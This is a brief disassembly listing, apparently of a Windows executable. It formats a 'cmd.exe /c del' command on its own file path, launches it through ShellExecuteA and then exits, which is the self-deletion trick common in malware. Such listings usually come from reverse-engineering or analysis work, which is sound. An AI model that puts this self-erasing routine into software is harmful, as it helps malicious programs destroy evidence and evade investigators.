mov r8, qword [0x1400adb80]
lea rdx, str._c_del__q__s
lea rcx, [rsp + 0x30]
call fcn.14001a7ec
xor r11d, r11d
lea r9, [rsp + 0x30]
mov dword [rsp + 0x28], r11d
lea r8, str.cmd.exe
lea rdx, str.open
xor ecx, ecx
mov qword [rsp + 0x20], r11
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]